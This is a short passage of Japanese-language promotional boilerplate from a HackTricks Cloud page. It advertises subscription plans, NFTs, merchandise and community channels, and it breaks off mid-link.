☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥 - **サむバヌセキュリティ䌁業で働いおいたすか HackTricksであなたの䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンやHackTricksのPDFをダりンロヌドしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしおください** - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発芋したしょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公匏のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れたしょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグルヌプ**](https://discord.gg/hRep4RUj7f)たたは[**Telegramグルヌプ**](https://t.me/peass)に参加するか、**Twitter** [**🐊**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロヌしおください。** - **ハッキングのトリックを共有するには、[hacktricksリポゞトリ](https://github.com/carlospolop/hacktr